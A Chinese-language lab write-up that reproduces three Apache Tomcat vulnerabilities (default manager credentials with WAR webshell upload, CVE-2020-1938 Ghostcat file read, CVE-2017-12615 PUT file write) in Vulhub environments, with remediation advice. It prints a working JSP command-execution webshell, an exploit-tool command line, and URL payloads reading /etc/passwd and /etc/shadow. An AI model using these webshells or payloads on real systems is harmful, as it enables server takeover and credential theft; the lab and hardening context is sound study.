Apache Tomcat 漏洞复现

文章目录

  • [Apache Tomcat 漏洞复现](#Apache Tomcat 漏洞复现)
    • [1. Tomcat7 弱密码和后端 Getshell 漏洞](#1. Tomcat7 弱密码和后端 Getshell 漏洞)
      • [1.1 漏洞描述](#1.1 漏洞描述)
      • [1.2 漏洞复现](#1.2 漏洞复现)
      • [1.3 漏洞利用](#1.3 漏洞利用)
        • [1.3.1 jsp小马](#1.3.1 jsp小马)
        • [1.3.2 jsp大马](#1.3.2 jsp大马)
      • [1.4 安全加固](#1.4 安全加固)
    • [2. Aapache Tomcat AJP任意文件读取/包含漏洞](#2. Aapache Tomcat AJP任意文件读取/包含漏洞)
      • [2.1 漏洞描述](#2.1 漏洞描述)
      • [2.1 漏洞复现](#2.1 漏洞复现)
      • [2.2 漏洞利用工具](#2.2 漏洞利用工具)
      • [2.4 修复建议](#2.4 修复建议)
    • [3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞](#3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞)
      • [3.1 漏洞描述](#3.1 漏洞描述)
      • [3.2 漏洞复现](#3.2 漏洞复现)
      • [3.3 漏洞利用](#3.3 漏洞利用)
      • [3.4 修复建议](#3.4 修复建议)

Apache Tomcat 漏洞复现

1. Tomcat7 弱密码和后端 Getshell 漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

1.1 漏洞描述

说明 内容
漏洞编号
漏洞名称 Tomcat7+ Weak Password && Backend Getshell Vulnerability
漏洞评级 高危
影响范围 8.0
漏洞描述 Tomcat 支持通过后端部署 war 文件,所以我们可以直接将 webshell 放入 Web 目录下。为了访问后端,需要权限。
修复方案 打补丁,上设备,升级组件

1.2 漏洞复现

环境启动

访问页面

点击管理控制平台

用户名和密码都是tomcat

进入到了tomcat后台项目管理控制台

如果黑客攻击者拿到这个控制台,就会有很大的风险。甚至可以将大型木马打包成WAR包进行部署。

1.3 漏洞利用

1.3.1 jsp小马

创建一个jsp木马

jsp 复制代码
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

然后将其打包成WAR包

然后及将打包好的WAR包进行上传即可。

上传成功

访问页面

上传的木马中写了密码为023再次访问,然后使用ls命令来查看当前目录下有哪些文件。

查看权限

env打印环境变量

1.3.2 jsp大马

Webshell:138shell update · tennc/webshell@6a88226 (github.com)

利用我们准备好的大马,将其打包成war包后进行上传

上传成功

访问成功

1.4 安全加固

  • 密码需要有字符类型要求和长度
  • 增加验证码认证或口令认证等机制
  • 文件上传点增加上传限制

2. Aapache Tomcat AJP任意文件读取/包含漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

2.1 漏洞描述

说明 内容
漏洞编号 CVE-2020-1938
漏洞名称 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability
漏洞评级 高危
影响范围 9.0.30
漏洞描述 由于Tomcat AJP协议中的缺陷,攻击者可以读取或包含Tomcat的Webapp目录中的任何文件。例如,攻击者可以读取 Web 应用配置文件或源代码。此外,如果目标Web应用具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含漏洞在目标主机上执行恶意代码。
修复方案 打补丁,上设备,升级组件

2.1 漏洞复现

环境启动

2.2 漏洞利用工具

下载漏洞利用工具链接:github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

使用工具:

sh 复制代码
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.188.185 -p 8009 -f WEB-INF/web.xml

文件读取成功

查看读取的web.xml文件位置

发现和我们之前读取的文件内容一致

测试是否还可以读取其他的文件

我们可以在WEB-INF目录中创建一个wuhu.txt文件并在里面输入内容

然后尝试读取该文件内容

最后验证得出,这里读取文件是有限制的,只能读取ROOT目录下的文件

2.4 修复建议

  1. 官方网站下载新版本进行升级。
  2. 直接关闭 AJP Connector,或将其监听地址改为仅监听本机 localhost。
  3. 若需使用 Tomcat AJP 协议,可根据使用版本配置协议属性设置认证凭证。

3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

3.1 漏洞描述

说明 内容
漏洞编号 CVE-2017-12615
漏洞名称 Tomcat Arbitrary Write-file Vulnerability through PUT Method
漏洞评级 高危
影响范围 8.5.19
漏洞描述 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限
修复方案 打补丁,上设备,升级组件

3.2 漏洞复现

环境启动

访问页面

漏洞检测

使用nuclei漏洞检测工具

./nuclei -u 192.168.188.185

3.3 漏洞利用

浏览器路径访问

http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fpasswd

%2F表示/

页面显示出来etc/passwd文件内容。

测试是否可以查看shadow文件

http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fshadow

测试是否可以执行命令

http://127.0.0.1/poc.jsp?cmd=whoami

3.4 修复建议

  1. 禁用 HTTP PUT 方法:为了防止该漏洞的利用,可以在 Tomcat 配置文件中设置 "readonly" 属性,禁用 HTTP PUT 方法。例如,在 server.xml 文件中,可以将 Connector 元素中的 allowTrace 属性设置为 false,禁用 TRACE 和 PUT 方法。
  2. 过滤特殊字符:应用程序应该过滤掉特殊字符,如 ".../" 或 "%2e%2e%2f",以防止攻击者通过遍历路径来写入恶意文件。可以使用字符过滤器或正则表达式,限制输入数据的格式和内容。
  3. 路径验证和权限控制:应用程序应该对上传文件的路径进行验证,并限制其访问权限。可以将上传文件保存在特定的目录中,并确保其他用户无法访问该目录。此外,还应该对上传的文件进行扫描和检测,以防止上传恶意文件。
  4. 及时更新软件版本:Tomcat 团队已经意识到 PUT 方法任意写入文件漏洞,并提供了修复版本。因此,建议立即更新受影响的 Tomcat 版本,并实施相应的补丁程序。
  5. 启用安全模式:可以通过启用 Tomcat 的安全模式来减少漏洞利用的机会。安全模式可以限制 Tomcat 的访问权限,并增加对 Web 应用程序的监控和控制。
相关推荐
H3h3QAQ2 小时前
APISIX 联动雷池 WAF 实现 Web 安全防护
网络安全
网安老伯5 小时前
【2024版】最新kali linux入门及常用简单工具介绍(非常详细)零基础入门到精通,收藏这一篇就够了_kalilinux
linux·运维·服务器·开发语言·web安全·网络安全·xss
shmily ....6 小时前
文件上传漏洞原理
网络·安全
IPFoxy6667 小时前
如何判断静态代理IP地址是否被污染?
网络·安全·web安全
网络研究院7 小时前
什么是 ARP 欺骗和缓存中毒攻击?
网络·安全·ddos·攻击·arp·实践·缓解
创小董9 小时前
低空经济时代:无人机飞行安全要点详解
安全·无人机
紫队安全研究10 小时前
《Web3 安全:攻击与防御全景指南》
安全·web3
黄焖鸡能干四碗11 小时前
【需求分析】软件系统需求设计报告,需求分析报告,需求总结报告(原件PPT)
大数据·人工智能·安全·测试用例·需求分析
hallo12812 小时前
英文论文安全的免费查重网站
安全·论文
繁依Fanyi14 小时前
旅游心动盲盒:开启个性化旅行新体验
java·服务器·python·算法·eclipse·tomcat·旅游